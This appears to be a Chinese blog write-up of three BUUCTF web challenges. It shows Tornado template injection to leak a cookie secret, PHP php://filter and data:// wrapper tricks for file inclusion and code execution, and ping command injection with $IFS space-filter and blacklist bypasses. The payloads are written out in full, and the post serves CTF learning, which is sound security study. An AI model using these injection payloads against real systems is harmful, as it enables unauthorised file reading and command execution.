BUUCTF涨见识之旅(一)

前言

经过几周的联系,感觉自己可以接触buuctf上面的题了,就去尝试了一下,结果可真的是让我涨了好多见识啊!
卑微.jpg

easy_tornado

刚打开题目环境,发现了三个文件
在这里插入图片描述
依次打开发现
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

接着发现url框里的get内容http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/hints.txt&filehash=0dd45678a8a1205a0110d2450a842825
然后这里就有了一点点头绪。就是flag在/fllllllllllllag这个目录下,然后还要进行md5加密,所以构造payload为:

http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=加密后的内容

然后现在问题就是cookie_secret这个是什么。由于第一次遇见,所以就来请问师傅百度了。(顺便百度了一下render函数是什么)发现:
renderpython的一个模板,他们的url都是由filenamefilehash组成,filehash即为他们filename的md5值。
又加上题目提示tornado,所以就搜索到了cookie_secret存放在handler.settings中。
然后还意外地看到了大佬们的wp,说是ssti模板注入。然后验证是否为模板注入。
第一次构造payloadfile?filename=/fllllllllllllag提示error。并且url框出现
在这里插入图片描述
然后尝试http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{1}}发现页面出现在这里插入图片描述
接着尝试http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{1*8}}页面提示在这里插入图片描述
说明存在模板注入。
接着就构造payload获得cookie_secret的值http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{handler.settings}}
得到在这里插入图片描述
然后进行最后的md5加密用了PHP代码

<?php
$cookie_secret='b2b852cd-7505-4918-82d8-8ceab6e24cc9';
$filename='/fllllllllllllag';
$eco=md5($cookie_secret.md5($filename));
echo $eco;
?>

得到了最终的filehash值
在这里插入图片描述
所以构造最终payload:http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=16e766d7895b3c30ee8f3bafaa43d271
得到flag
在这里插入图片描述

include

打开题目在这里插入图片描述
点开之后提示
在这里插入图片描述
然后就开始find flag。刚开始没看题目,就一股脑做了,用了各种方法,抓包,f12,注入等等,发现始终只有一个样式。在这里插入图片描述
然后就知道了看题目的重要性。发现了题目名称是include。于是想到了文件包含和php伪协议。
所以就构造payload?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的字符在这里插入图片描述
然后base64解码得到flag
在这里插入图片描述

补充

php伪协议

常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file
file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://

file://协议

file://
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

使用方法:

file://文件绝对路径和文件名

php://协议

php:// 访问各个输入/输出流(I/O
streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter协议

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

使用方法

?file=php://filter/read=convert.base64-encode/resource=
php://input协议

这个是平时做题用的比较多的。一般用来传一句话木马。不过注意是在POST方式传代码。

zip://协议

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

compress.bzip2://

使用方法:

compress.bzip2://file.bz2

compress.zlib://

使用方法:

compress.zlib://file.gz

data://

data协议也是平时做题经常遇见的。
常用形式:?file=data://text/plain;base-64,<?php system('ls');?>

PING PING PING

打开题目,发现了
在这里插入图片描述
题目提示ping,然后页面有一个?ip=,所以应该是在搜索框里用get方式进行ping。
所以尝试:?ip=127.0.0.1
在这里插入图片描述
ping通了,说明思路没错,然后就查看了一下当前目录下的文件?ip=127.0.0.1|ls
在这里插入图片描述
发现有一个flag.php的文件,说明最后答案就在里面。然后就?ip=127.0.0.1|cat index.php (因为出现了两个文件,防止有什么绕过在这个文件里,就先查看了一下)
发现在这里插入图片描述
说明在命令行里有什么被过滤了,接着就猜测应该是存在了空格过滤,就尝试了一下
在这里插入图片描述
发现的确是空格过滤,于是就百度了一下常见的空格过滤绕过方式

<<>%20(space)%09(tab)$IFS$9${IFS}$IFS

发现是这几个。然后在这个题目里一个一个试,发现是$IFS$,所以尝试?ip=127.0.0.1|cat$IFS$1index.php
在这里插入图片描述

/?ip=

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){//过滤了bash
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){//过滤了flag的正则匹配
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

元字符.:表示匹配除了换行符\n以外的任意字符
元字符*:表示多次匹配*前面的内容
.*连在一下,表示匹配任意次的不包含换行符的字符

然后利用黑名单拼接,
构造最终payload: ?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php
发现正常在这里插入图片描述
然后F12,在控制窗口找到flag在这里插入图片描述
flag=flag{ad04b7ca-ebe6-43dd-a5e2-f8aac85c784c}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值